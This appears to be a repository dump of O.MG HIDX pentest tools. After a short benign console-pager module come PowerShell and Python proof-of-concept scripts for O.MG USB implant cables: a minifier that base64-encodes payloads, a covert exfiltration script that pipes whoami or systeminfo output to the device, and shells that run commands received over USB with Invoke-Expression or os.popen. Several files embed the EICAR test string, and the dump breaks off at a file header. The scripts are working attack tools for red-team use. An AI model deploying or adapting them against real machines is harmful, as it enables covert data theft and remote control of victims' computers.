console_handle = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
# CONSOLE_SCREEN_BUFFER_INFO Structure
class COORD(Structure):
_fields_ = [("X", SHORT), ("Y", SHORT)]
class SMALL_RECT(Structure):
_fields_ = [("Left", SHORT), ("Top", SHORT),
("Right", SHORT), ("Bottom", SHORT)]
class CONSOLE_SCREEN_BUFFER_INFO(Structure):
_fields_ = [("dwSize", COORD),
("dwCursorPosition", COORD),
("wAttributes", WORD),
("srWindow", SMALL_RECT),
("dwMaximumWindowSize", DWORD)]
def _windows_get_window_size():
"""Return (width, height) of available window area on Windows.
(0, 0) if no console is allocated.
"""
sbi = CONSOLE_SCREEN_BUFFER_INFO()
ret = windll.kernel32.GetConsoleScreenBufferInfo(console_handle, byref(sbi))
if ret == 0:
return (0, 0)
return (sbi.srWindow.Right - sbi.srWindow.Left + 1,
sbi.srWindow.Bottom - sbi.srWindow.Top + 1)
def _posix_get_window_size():
"""Return (width, height) of console terminal on POSIX system.
(0, 0) on IOError, i.e. when no console is allocated.
"""
# see README.txt for reference information
# http://www.kernel.org/doc/man-pages/online/pages/man4/tty_ioctl.4.html
from fcntl import ioctl
from termios import TIOCGWINSZ
from array import array
winsize = array("H", [0] * 4)
try:
ioctl(sys.stdout.fileno(), TIOCGWINSZ, winsize)
except IOError:
# for example IOError: [Errno 25] Inappropriate ioctl for device
# when output is redirected
# [ ] TODO: check fd with os.isatty
pass
return (winsize[1], winsize[0])
def getwidth():
width = None
if WINDOWS:
return _windows_get_window_size()[0]
elif os.name == 'posix':
return _posix_get_window_size()[0]
else:
# 'mac', 'os2', 'ce', 'java', 'riscos' need implementations
pass
return width or 80
def getheight():
height = None
if WINDOWS:
return _windows_get_window_size()[1]
elif os.name == 'posix':
return _posix_get_window_size()[1]
else:
# 'mac', 'os2', 'ce', 'java', 'riscos' need implementations
pass
return height or 25
if WINDOWS:
ENTER_ = '\x0d'
CTRL_C_ = '\x03'
else:
ENTER_ = '\n'
# [ ] check CTRL_C_ on Linux
CTRL_C_ = None
ESC_ = '\x1b'
# other constants with getchars()
if WINDOWS:
LEFT = ['\xe0', 'K']
UP = ['\xe0', 'H']
RIGHT = ['\xe0', 'M']
DOWN = ['\xe0', 'P']
else:
LEFT = ['\x1b', '[', 'D']
UP = ['\x1b', '[', 'A']
RIGHT = ['\x1b', '[', 'C']
DOWN = ['\x1b', '[', 'B']
ENTER = [ENTER_]
ESC = [ESC_]
def dumpkey(key):
def hex3fy(key):
"""Helper to convert string into hex string (Python 3 compatible)"""
from binascii import hexlify
# Python 3 strings are no longer binary, encode them for hexlify()
if PY3K:
key = key.encode('utf-8')
keyhex = hexlify(key).upper()
if PY3K:
keyhex = keyhex.decode('utf-8')
return keyhex
if type(key) == str:
return hex3fy(key)
else:
return ' '.join( [hex3fy(s) for s in key] )
if WINDOWS:
if PY3K:
from msvcrt import kbhit, getwch as __getchw
else:
from msvcrt import kbhit, getch as __getchw
def _getch_windows(_getall=False):
chars = [__getchw()] # wait for the keypress
if _getall: # read everything, return list
while kbhit():
chars.append(__getchw())
return chars
else:
return chars[0]
# [ ] _getch_linux() or _getch_posix()? (test on FreeBSD and MacOS)
def _getch_unix(_getall=False):
import sys, termios
fd = sys.stdin.fileno()
# save old terminal settings
old_settings = termios.tcgetattr(fd)
chars = []
try:
newattr = list(old_settings)
newattr[3] &= ~termios.ICANON
newattr[3] &= ~termios.ECHO
newattr[6][termios.VMIN] = 1 # block until one char received
newattr[6][termios.VTIME] = 0
# TCSANOW below means apply settings immediately
termios.tcsetattr(fd, termios.TCSANOW, newattr)
# [ ] this fails when stdin is redirected, like
# ls -la | pager.py
# [ ] also check on Windows
ch = sys.stdin.read(1)
chars = [ch]
if _getall:
newattr = termios.tcgetattr(fd)
newattr[6][termios.VMIN] = 0 # CC structure
newattr[6][termios.VTIME] = 0
termios.tcsetattr(fd, termios.TCSANOW, newattr)
while True:
ch = sys.stdin.read(1)
if ch != '':
chars.append(ch)
else:
break
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
if _getall:
return chars
else:
return chars[0]
# choose correct getch function at module import time
if WINDOWS:
getch = _getch_windows
else:
getch = _getch_unix
getch.__doc__ = \
"""
Wait for keypress, return first char generated as a result.
Arrows and special keys generate sequence of chars. Use `getchars`
function to receive all chars generated or present in buffer.
"""
# check that Ctrl-C and Ctrl-Break break this function
#
# Ctrl-C [n] Windows [y] Linux [ ] OSX
# Ctrl-Break [y] Windows [n] Linux [ ] OSX
# [ ] check if getchars returns chars already present in buffer
# before the call to this function
def getchars():
return getch(_getall=True)
def echo(msg):
#https://groups.google.com/forum/#!topic/python-ideas/8vLtBO4rzBU
sys.stdout.write(msg)
sys.stdout.flush()
def prompt(pagenum):
prompt = "Page -%s-. Press any key to continue . . . " % pagenum
echo(prompt)
if getch() in [ESC_, CTRL_C_, 'q', 'Q']:
return False
echo('\r' + ' '*(len(prompt)-1) + '\r')
def page(content, pagecallback=prompt):
width = getwidth()
height = getheight()
pagenum = 1
try:
try:
line = content.next().rstrip("\r\n")
except AttributeError:
# Python 3 compatibility
line = content.__next__().rstrip("\r\n")
except StopIteration:
pagecallback(pagenum)
return
while True: # page cycle
linesleft = height-1 # leave the last line for the prompt callback
while linesleft:
linelist = [line[i:i+width] for i in range(0, len(line), width)]
if not linelist:
linelist = ['']
lines2print = min(len(linelist), linesleft)
for i in range(lines2print):
if WINDOWS and len(line) == width:
# avoid extra blank line by skipping linefeed print
echo(linelist[i])
else:
print(linelist[i])
linesleft -= lines2print
linelist = linelist[lines2print:]
if linelist: # prepare symbols left on the line for the next iteration
line = ''.join(linelist)
continue
else:
try:
try:
line = content.next().rstrip("\r\n")
except AttributeError:
# Python 3 compatibility
line = content.__next__().rstrip("\r\n")
except StopIteration:
pagecallback(pagenum)
return
if pagecallback(pagenum) == False:
return
pagenum += 1
================================================
FILE: tools/HIDX/powershell/minify.ps1
================================================
function Minify-Script {
param(
[Parameter(Mandatory=$true)]
[string]$InputFilePath,
[Parameter(Mandatory=$true)]
[string]$OutputFilePath,
[switch]$AsBase64
)
$content = Get-Content $InputFilePath -Raw
# Remove multi-line comments
$content = [regex]::Replace($content, '<#.*?#>', '', [System.Text.RegularExpressions.RegexOptions]::Singleline)
# Remove single-line comments
$content = [regex]::Replace($content, '#.*', '')
# Remove unnecessary whitespaces
$content = [regex]::Replace($content, '\s+', ' ')
if ($AsBase64) {
$contentBytes = [System.Text.Encoding]::UTF8.GetBytes($content)
$contentBase64 = [System.Convert]::ToBase64String($contentBytes)
Set-Content -Path $OutputFilePath -Value $contentBase64
}
else {
Set-Content -Path $OutputFilePath -Value $content
}
}
# Example usage:
Minify-Script -InputFilePath "HIDXExfil.ps1" -OutputFilePath "HIDXExfil-minified.ps1" -AsBase64
================================================
FILE: tools/HIDX/powershell/win-hidexfil.ps1
================================================
<#
HIDXExfil.ps1
Author: Ø1 (@01p8or13)
Acknowledgements: spiceywasabi, rogandawes
Required Dependencies: Activated HIDX on OMG Elite device
#>
function HIDXExfil {
<#
.DESCRIPTION
This is a POC.
A “low and slow” method of covert exfiltration meant to provide alternate pentesting pathways beyond using the target host’s network interfaces or mass storage.
This POC will allow data exfiltration back to the O.MG’s flash storage or act as a proxy between the target host and another device,
via the O.MG Device's built-in WiFi interface, which can allow you to receive data via listeners like nc, netcat, or similar tools.
.PARAMETER Message
Message which gets exfiltrated.
.PARAMETER VendorID
Defining vendor ID of the device. (Default: D3C0)
.PARAMETER ProductID
Defining product ID of the device. (Default: D34D)
.EXAMPLE
Defining a message:
HIDXExfil -Message "hello world"
.EXAMPLE
HIDX usage with every parameter:
HIDXExfil -VendorID D3C0 -ProductID D34D -Message "test"
.EXAMPLE
Piping output into HIDX:
whoami | HIDXExfil
.EXAMPLE
Exfiltrating systeminfo with proper formatting:
systeminfo | Out-String | HIDXExfil
.LINK
https://github.com/0i41E
https://github.com/spiceywasabi
https://github.com/rogandawes
#Credits to Rogan for the idea of filehandle and device identification
#AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
#>
[cmdletbinding()]
param(
[Parameter(
Mandatory = $true,
ValueFromPipeline = $true)]
$Message,
[Parameter(Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$VendorID = "D3C0", #Default value
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[String]
$ProductID = "D34D" # Default value
)
$omg = $VendorID + "&PID_" + $ProductID
function Get-OMGDevice(){
#Identify OMG device
$devs = gwmi Win32_USBControllerDevice
$devicestring=$null
foreach ($dev in $devs) {
$wmidev = [wmi]$dev.Dependent
if ($wmidev.GetPropertyValue('DeviceID') -match ($omg) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {
$devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}')
}
}
return $devicestring
}
function Send-Message {
param(
$fileHandle,
$payload
)
$payloadLength = $payload.Length
$chunkSize = 8 # Kept at 8 for best experience
$chunkNr = [Math]::Ceiling($payloadLength / $chunkSize)
for ($i = 0; $i -lt $chunkNr; $i++) {
$bytes = New-Object Byte[] (65)
$start = $i * $chunksize
$end = [Math]::Min(($i + 1) * $chunksize, $payloadLength)
$chunkLen = $end - $start
[System.Buffer]::BlockCopy($payload, $start, $bytes, 1, $chunkLen)
$filehandle.Write($bytes, 0, 65)
}
}
#Creating filehandle - Method by rogandawes
Add-Type -TypeDefinition @"
using System;
using System.IO;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
namespace omg {
public class hidx {
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);
public static FileStream open(string fn) {
return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);
}
}
}
"@
try {
$deviceString = Get-OMGDevice
if ($deviceString -eq $null) {
Write-Host -ForegroundColor Red "[!]Error: Could not find OMG device - Check VID/PID"
return
}
$fileHandle = [omg.hidx]::open($deviceString)
if ($fileHandle -eq $null) {
Write-Host -ForegroundColor Red "[!]Error: Filehandle is empty"
return
}
$payload = [System.Text.Encoding]::ASCII.GetBytes($Message + "`n")
Send-Message -fileHandle $fileHandle -payload $payload
} catch {
Write-Host -ForegroundColor Red "[!]Error: $($PSItem.Exception.Message)"
} finally {
if ($fileHandle -ne $null) {
$fileHandle.Close()
}
}
}
================================================
FILE: tools/HIDX/powershell/win-hidshell.ps1
================================================
<#
win-hidshell.ps1
Authors: Ø1(@01p8or13), Wasabi (@spiceywasabi)
Acknowledgements: rogandawes (@RoganDawes)
Required Dependencies: Activated HIDX on OMG Elite device
Recommended Listener: stealthlink-client-universal.py
#>
function HIDXShell {
<#
.DESCRIPTION
This powershell script acts as a PoC for a bidirectional, shell-like connection between a host and an O.MG Elite device, which acts as a bridge between Listener and USB-Host.
.PARAMETER VendorID
Defining vendor ID of the device. (Default: D3C0)
.PARAMETER ProductID
Defining product ID of the device. (Default: D34D)
.PARAMETER Verbose
Display more information about received and executed commands
.EXAMPLE
HIDXShell usage with defined device:
HIDXShell -VendorID D3C0 -ProductID D34D
.LINK
https://github.com/0i41E
https://github.com/spiceywasabi
https://github.com/rogandawes
https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/python/stealthlink-client-universal.py
https://github.com/O-MG/O.MG-Firmware/wiki/HIDX-StealthLink---Windows-PowerShell---Shell
#Credits to Rogan for idea of filehandle and device identification
#AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
#>
[cmdletbinding()]
param(
[Parameter(Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$VendorID = "D3C0", #Default value
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[String]
$ProductID = "D34D" # Default value
)
#Defining OMG device
$OMG = $VendorID +"&PID_" + $ProductID
$tries = 0
$ErrorActionPreference="Stop"
#Creating filehandle - Method by rogandawes
function CreateBinding(){
try {
Add-Type -TypeDefinition @"
using System;
using System.IO;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
namespace omg {
public class hidx {
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);
public static FileStream open(string fn) {
return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);
}
}
}
"@
Write-Host -ForegroundColor Yellow "[?]Adding Binding..."
}
catch {
Write-Host -ForegroundColor red "[!]Error:Cannot load Binding..."
}
}
#Identify OMG device
function Get-OMGDevice(){
$devs = gwmi Win32_USBControllerDevice
write-host -ForegroundColor Yellow "[?]Searching for O.MG Device..."
$devicestring=$null
foreach ($dev in $devs) {
$wmidev = [wmi]$dev.Dependent
if ($wmidev.GetPropertyValue('DeviceID') -match ($OMG) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {
$devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}') #GUID_DEVINTERFACE_HID
}
}
return $devicestring
}
#Split and Write message to filehandle
Function Send-Message(){
#Convert output to bytes
$outputBytes = [System.Text.Encoding]::ASCII.GetBytes($output + "> ") #Sending fake prompt to mimic a proper shell
$outputLength = $outputBytes.Length
#Send output bytes to omg
$outputChunkSize = 8 # Kept at 8 for best experience
$outputChunkNr = [Math]::Ceiling($outputLength / $outputChunkSize)
#Verbosity message
if ($VerbosePreference -eq 'Continue') {
Write-Host -ForegroundColor green "[+]Output of $($outputLength) bytes ready to send in $($outputChunkNr) packets."
}
$messageSendTime = Get-Date
for ($i = 0; $i -lt $outputChunkNr; $i++) {
$outputBytesToSend = New-Object Byte[] (65)
$outputStart = $i * $outputChunkSize
$outputEnd = [Math]::Min(($i + 1) * $outputChunkSize, $outputLength)
$outputChunkLen = $outputEnd - $outputStart
[System.Buffer]::BlockCopy($outputBytes, $outputStart, $outputBytesToSend, 1, $outputChunkLen) # Copy the chunk to the packet
if ($VerbosePreference -eq 'Continue') {
$currentTime = Get-Date
$timeDifference = $currentTime - $messageSendTime
Write-Host -ForegroundColor yellow "[?]Message ready to send after $($timeDifference)..."
$messageSendTime=$currentTime
$outputBytesToSend | Format-Hex
}
$filehandle.Write($outputBytesToSend, 0, 65)
}
}
CreateBinding
#Find O.MG device
$devicestring = Get-OMGDevice
#Verify device - error checking
if($null -eq $devicestring){
$loop=$false
Write-Host -ForegroundColor red "[!]Error: No O.MG Device not found! Check VID/PID"
$loop=$false
break
}
#Verify device - open device
Write-Host -ForegroundColor Green "[+]Identified O.MG Device: ${devicestring}"
$filehandle = [omg.hidx]::open($devicestring)
#Verify filehandle
if($null -eq $filehandle){
$loop=$false
Write-Host -ForegroundColor red "[!]Error: Filehandle is empty"
break
}
#Message on initial connection
$output = "[+]Stealth Link Session Established!`n"
#Sending message on initial connection
Write-Host -ForegroundColor Cyan "[*]Sending Connection Prompt to ${devicestring}"
Send-Message
#Starting loop for birectional connection
$loop=$true
while ($loop) {
try {
#Find O.MG device
$devicestring = Get-OMGDevice
#Verify device - error checking
if($null -eq $devicestring){
$loop=$false
Write-Host -ForegroundColor red "[!]Error: No O.MG Device not found! Check VID/PID"
$loop=$false
break
}
#Verify device - open device
Write-Host -ForegroundColor Green "[+]Connected O.MG Device: ${devicestring}"
$filehandle = [omg.hidx]::open($devicestring)
#Verify filehandle
if($null -eq $filehandle){
$loop=$false
Write-Host -ForegroundColor red "[!]Error: Filehandle is empty"
break
}
$in = ""
Do {
Write-Host -ForegroundColor Green "[+]Ready to receive commands..."
echo $filehandle.Length
echo $filehandle.BytesToRead
$byte = [byte[]]::new(10)
#Read bytes from omg
$bytes = New-Object Byte[] (65)
$filehandle.Read($bytes, 0, 65) | Out-Null
#Split and display received command
foreach ($byte in $bytes) {
$input_raw = [System.Convert]::ToChar($byte)
if (($input_raw -ge 32 -and $input_raw -le 126) -or $input_raw -eq 10) {
$in = "${in}${input_raw}"
#If using verbose, display split commands
if ($VerbosePreference -eq 'Continue') {
Write-Host "Command Parts: ${byte} / $in"
}
}
}
} While (!$in.Contains("`n")) #Execute on new-line
Try {
if ($VerbosePreference -eq 'Continue') {
Write-Host -ForegroundColor Green "[+]Executed command: $in"
$in | Format-Hex
}
$output = Invoke-Expression $in|Out-String
#If output is empty return fake prompt
if ($output -eq '') {
if ($VerbosePreference -eq 'Continue') {
$output = "[+]Command successful!`n" #If verbose is set, return additional message
} else {
$output = "`n"
}
}
} Catch {
$output = Echo "[!]Error: The command was not recognized as the name of a cmdlet, a function, a script file or an executable program."|Out-String #Error message send to receiver
Write-Host -ForegroundColor red "[!]Error: Unable to run: $in" #Error message in console
}
#Sending Message to OMG Device
Send-Message
$filehandle.Close()
}
catch {
if ($VerbosePreference -eq 'Continue') {
Write-Host -ForegroundColor red "[!]Error occurred, ${tries} remain"
}
echo $Error
if($tries -le 0){
Write-Host -ForegroundColor red "[!]Fatal error, tries exhausted must stop"
$loop=$false
$filehandle.Close()
break
} else {
$tries = $tries - 1
}
}
}
}
================================================
FILE: tools/HIDX/python/hidxshell.py
================================================
# NOTE: This is a POC only
# This has certain limitations on size of packets and writes
# You may need root access to use this.
# mischief gadgets, wasabi 2023
# This is a POC
# X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
#####
##### NOTE: THIS REQUIRES pyusb and libusb (either via pip3 install libusb_package or libusb1.0 library on your system)
#####
import os
import sys
import string
import select
import pkgutil
import usb.core as uc
import usb.util as uu
import importlib
import argparse
from datetime import datetime
# CHANGE THESE TO YOUR CABLES VID AND PID
from pprint import pprint
class HIDX():
def __init__(self,vid=None,pid=None,debug=False,sbuff=8,rbuff=8):
# device information and endpoints
self.vid = None
self.pid = None
self.int = None
self.dev = None
self.dev_backend = None
self.reattach = False
self.cfg = None
self.debug = debug
# set sizes
self.read_buff_size = rbuff
self.write_buff_size = sbuff
# code handlers for errors and messages
self.send_buff = []
self.recv_buff = []
self.read_errors = 0
self.write_errors = 0
# start things if we need...
if vid and pid:
setup = self.setup_dev(vid=vid,pid=pid)
self.vid = vid
self.pid = pid
if self.debug:
self.find_devs()
if not setup:
print("Failed to initalize.")
sys.exit(1)
else:
print("No VID or PID Provided")
self.find_devs()
def display_dev(self,vid=None,pid=None):
if not vid and not pid:
hvid = hex(self.vid)
hpid = hex(self.pid)
else:
hvid = hex(vid)
hpid = hex(pid)
return f"VendorID={hvid} ({vid}), ProductID={hpid} ({pid}). [R:{self.read_buff_size}/S:{self.write_buff_size}]"
def do_cmd(self,cmd):
debug_send = False
if debug_send:
print(f"CMD = {cmd}")
dt = datetime.now().strftime("%M:%S.%f")
user_input = f"HST {dt}\n"
return user_input
else:
c = os.popen(cmd)
r = c.read()
return r
def find_devs(self):
dev = None
try:
dev = uc.find(find_all=True)
self.dev_backend = "pyusb"
except uc.NoBackendError:
if pkgutil.find_loader('libusb_package'):
libusb_package = importlib.import_module('libusb_package')
self.dev_backend = "libusb_package"
dev = libusb_package.find(find_all=True)
else:
print("No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. ")
return False
if dev:
print("Detecting Available USB Devices:")
for cfg in dev:
print('\tUSB Device Found: VendorID=' + hex(cfg.idVendor) + ' & ProductID=' + hex(cfg.idProduct) + '\n')
print("\n")
else:
print("Unable to enumerate available USB Devices. Likely permissions issues!")
def setup_dev(self,vid,pid):
dev = None
dev_id = self.display_dev(vid,pid)
if self.debug:
print(f"Attempting to find Device: {dev_id}")
try:
dev = uc.find(idVendor=vid, idProduct=pid)
pprint(dev)
self.dev_backend = "pyusb"
if self.debug:
print("Using pyusb+libusb")
except uc.NoBackendError:
if pkgutil.find_loader('libusb_package'):
libusb_package = importlib.import_module('libusb_package')
self.dev_backend = "libusb_package"
dev = libusb_package.find(idVendor=vid, idProduct=pid)
if self.debug:
print("Using pyusb+lisbusb_package")
else:
print("No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. ")
return False
if not dev:
print(f"Could not find device: {dev_id}")
return False
self.reattach = False
try:
if hasattr(dev,"is_kernel_driver_active") and dev.is_kernel_driver_active(2):
self.reattach = True
dev.detach_kernel_driver(2)
except NotImplementedError:
pass
self.cfg = dev.get_active_configuration()
self.int = self.cfg.interfaces()[2]
self.dev = dev
print(f"Found and Connecting to Device: {dev_id}")
return True
def pad_input(self,input_str, left_pad=False, right_pad=False, chunk_size = 8):
if left_pad and right_pad:
raise Exception("Cannot add padding on both the left and right side!")
# default to right pad
if not left_pad and not right_pad:
right_pad = True
padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size
padded_str = None
if isinstance(input_str, bytes):
input_str = self.decode_msg(input_str)
if right_pad:
padded_str = input_str + ' ' * padding_length
if left_pad:
padded_str = ' ' * padding_length + input_str
return padded_str
def split_output(self,message,chunk_size=8):
chunks = []
for i in range(0,len(message),chunk_size):
raw_message = message[i:i+chunk_size]
padded_message = self.pad_input(raw_message,right_pad=True)
chunks.append(padded_message)
return chunks
def write(self,msg=None, buffer_limit=8):
endpoint = self.int.endpoints()[1]
error = False
start_buffer_size = len(self.send_buff)
write_bytes = 0
if msg:
self.send_buff=self.send_buff+self.split_output(bytes(msg,'utf-8'),chunk_size=buffer_limit)
if self.debug:
print(f"Msg:{msg} = {self.send_buff}")
if len(self.send_buff)>0:
try:
part = b""
if len(self.send_buff)>0:
part = self.send_buff.pop(0)
endpoint.write(part)
write_bytes = len(part)
end_buffer_size = len(self.send_buff)
if self.debug:
print(f"Write Buffer: ob:{start_buffer_size},wb:{write_bytes},eb:{end_buffer_size}")
except Exception as e:
print(f"Error in write, {e}")
error = True
return error, write_bytes
def _read(self, buffer_limit=8,report_size=8,timeout=200):
endpoint = self.int.endpoints()[0]
res = None
error = False
raw_message = b""
recv_packets = 0
recv_bytes = 0
try:
remainder = buffer_limit+report_size*2
while (remainder > report_size):
if self.debug:
print("In _read loop...")
remainder -= report_size
rawdata = bytes(self.dev.read(endpoint.bEndpointAddress, report_size, timeout)).rstrip(b"\x00")
procdata = b""
for _r in rawdata:
if 32 <= _r <= 126 or _r in [10]:
procdata+=chr(_r).encode()
raw_message+=procdata
recv_packets += 1
recv_bytes += len(rawdata)
except uc.USBTimeoutError:
pass
except uc.USBError:
print("Lost device, must attempt to reconnect.")
#self.reattach=True
#self.setup_dev(self.vid,self.pid)
error = True
pass # for now so we just time out eventually
# do a decode
if recv_packets>0:
data_str = ""
for c in raw_message:
data_str += chr(c)
res = data_str
else:
pass
return error, recv_packets, recv_bytes, res
def read(self, retries=1):
raw_message = b""
empty_message = 0
error = False
recv_bytes=0
recv_packet=0
while retries>0:
if self.debug:
print("In read loop...")
try:
error, recv_packet, recv_byte, raw_data = self._read(
buffer_limit=(self.read_buff_size*4),
report_size=self.read_buff_size
)
recv_bytes+=recv_byte
recv_packet+=recv_packet
if error:
print("! Error detected in read()")
return raw_message
if recv_byte == 0:
retries-=1
else:
print("Test Byte")
raw_message+=bytes(raw_data,'utf-8')
break
except:
error=True
retries-=1
if self.debug:
print("debug: listening for data")
return error, recv_packet, recv_bytes, raw_message
def setWriteBuffSize(self,size):
self.write_buff_size = size
return size
def setReadBuffSize(self,size):
self.read_buff_size = size
return size
def decode_msg(self,data):
content = None
try:
content = data.decode('utf-8')
except UnicodeDecodeError:
content = data.decode('latin-1')
return content
def start(self,max_errors=5):
iter = 1
clear_errcnt = 0
while self.write_errors < max_errors and self.read_errors < max_errors:
result = None
read_error, recv_packet, recv_bytes, raw_message = self.read()
if self.debug:
print("In main loop...")
if read_error:
self.read_errors+=1
else:
if recv_bytes > 0 and len(raw_message)>1:
commands = raw_message.decode("utf-8").rstrip().replace("\\n","\n").split("\n")
for command in commands:
if self.debug:
print("In command loop...")
result = None
cleaned_command = command.rstrip().replace("\n","").replace("\r","").rstrip().strip()
if self.debug:
print(f"RECV: '{cleaned_command}'\n")
try:
result = self.do_cmd(cleaned_command)
except Exception as e:
print(f"error! {e}")
if result and self.debug:
print("Got new data!")
if result:
result = result + "\x07\x17\x00\x00"
write_error,send_bytes = self.write(result,self.write_buff_size)
if write_error:
self.write_errors+=1
result=None
write_error,send_bytes = self.write(result,self.write_buff_size)
if write_error:
self.write_errors+=1
iter += 1
if (clear_errcnt > 24):
self.read_errors = 0
self.write_errors = 0
def send(self,message,max_errors=5):
iter = 1
clear_errcnt = 0
write_error,send_bytes = self.write(message,self.write_buff_size)
self.write_errors =+ 1
if self.debug:
print("Sending message: %d" % len(message))
while len(self.send_buff)>0 and (self.write_errors < max_errors and self.read_errors < max_errors):
result = message
write_error,send_bytes = self.write(None,self.write_buff_size)
if write_error:
self.write_errors+=1
iter += 1
if (clear_errcnt > 24):
self.read_errors = 0
self.write_errors = 0
if self.write_errors>2:
print(f"Send incomplete. Total errored packets: {self.write_errors}")
else:
print("Send Complete")
if __name__ == "__main__":
def clean_id(inmsg):
hexstr = "0x"+str(inmsg).lower().replace("0x","")
return int(hexstr,16)
def read_stdin():
content = None
# to work around certain windows errors that may pop up
try:
if not sys.stdin.isatty():
data = sys.stdin.buffer.read().strip()
if data:
try:
# Try decoding using 'utf-8'
content = data.decode('utf-8')
except UnicodeDecodeError:
# If 'utf-8' decoding fails, try 'latin-1'
content = data.decode('latin-1')
except:
pass
return content
parser = argparse.ArgumentParser(description="HIDUniversal Tool")
parser.add_argument("--vid", type=str, default="0xd3c0", help="Specify vid parameter")
parser.add_argument("--pid", type=str, default="0xd34d", help="Specify pid parameter")
parser.add_argument("--debug", action="store_true", help="Enable debug mode")
parser.add_argument("--readbuff", type=int, help="Specify read buffer size",default=8)
parser.add_argument("--sendbuff", type=int, help="Specify send buffer size",default=8)
args = parser.parse_args()
debug = False
if args.debug:
debug=True
print("Starting Up...")
hdx = HIDX(vid=clean_id(args.vid),pid=clean_id(args.pid),rbuff=int(args.readbuff),debug=debug,sbuff=int(args.sendbuff))
stdin_data = read_stdin()
if stdin_data:
if debug:
print("In STDIN Mode")
hdx.send(stdin_data)
else:
if debug:
print("In Interactive Shell Mode")
hdx.start()
================================================
FILE: tools/HIDX/python/linux-nativeshell.py
================================================
# NOTE: This is a POC only
# This has certain limitations on size of packets and writes
# You may need root access to use this.
# This is a POC
# X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
import os,sys,time
from textwrap import wrap
# set these
hidx_device = None
transmission_delay = 1 # in seconds, 0 disables
max_message_size = 48 # bytes
# don't do things past here
def do_cmd(cmd):
c = os.popen(cmd)
r = c.read()
return r
# trick found by 01phor1e
def get_linux_dev():
cmd = "dmesg|grep hidraw|grep hiddev|grep input2|tail -n1|awk -F ',' '{print $2}'|awk -F ':' '{print $1}'"
try:
r = str(do_cmd(cmd)).strip()
return r
except:
return None
# trick found by 01phor1e
def debug_linux_dev():
cmd = "dmesg|grep hidraw|grep hiddev|grep input2"
try:
r = str(do_cmd(cmd)).strip()
return r
except:
return "No DMESG output identified"
def debug_linux(fd):
print("===== Debug: DMESG =====")
debug_linux_dev()
print("Found Device at Location: %s"%get_linux_dev())
print("===== Debug: FD INFO =====")
if fd is None:
print("FD Error, no FD")
else:
print(os.stat(fd))
print(os.fstat(fd))
print(os.lstat(fd))
print("===== End Debug =====")
def chunk_cmd(result):
def chunk(o):
r = str(result)
s = sys.getsizeof(o)
if s>max_message_size:
queued_cmds.extend(wrap(r,max_message_size-1))
else:
queued_cmds.append(r)
if isinstance(result, list) or isinstance(result, tuple):
for line in result:
chunk(line)
else:
chunk(result)
raw_dev = get_linux_dev()
if raw_dev is not None:
hidx_device = "/dev/"+raw_dev
else:
if len(sys.argv) < 2:
print("error provide hid device")
sys.exit(1)
else:
hidx_device = sys.argv[1]
queued_cmds = []
hs = os.open(hidx_device, os.O_RDWR)
run = True
cmd = ""
tries = 16
while tries>1:
print("Ready")
try:
print("In Listener")
while run:
print("Running...")
try:
debug_linux(hs)
except:
print("HID FD is unreadable")
debug_linux(hidx_device)
if hs is None:
print("Opening Socket...")
hs = os.open(hidx_device, os.O_RDWR)
else:
print("Reusing Socket...")
r = os.read(hs,int(max_message_size))
if "\n" in cmd:
# have a command
print("Attempting to run cmd: '%s'"%cmd)
print("Result from cmd is %d"%len(queued_cmds))
chunk_cmd(do_cmd(cmd))
cmd = ""
if len(queued_cmds)>0:
for queued_cmd in queued_cmds:
queued_cmd = queued_cmd+"\n"
os.write(hs,bytearray(queued_cmd.encode("utf-8")))
if transmission_delay>0:
time.sleep(transmission_delay)
queued_cmds = []
else:
cmd += r.decode("utf-8")
except OSError as e:
print("Error with socket, you have %d tries remaining"%tries)
time.sleep(5)
try:
if hs is not None:
os.close(hs)
try:
debug_linux(hs)
except:
print("HID FD is unreadable")
debug_linux(hidx_device)
except:
print("Socket already closed")
print(e)
tries-=1
================================================
FILE: tools/HIDX/python/stealthlink-client-universal.py
================================================
#Name: Stealth-client-universal.py
#Author: Wasabi (@spiceywasabi)
#Acknowledgments: Ø1(@01p8or13)
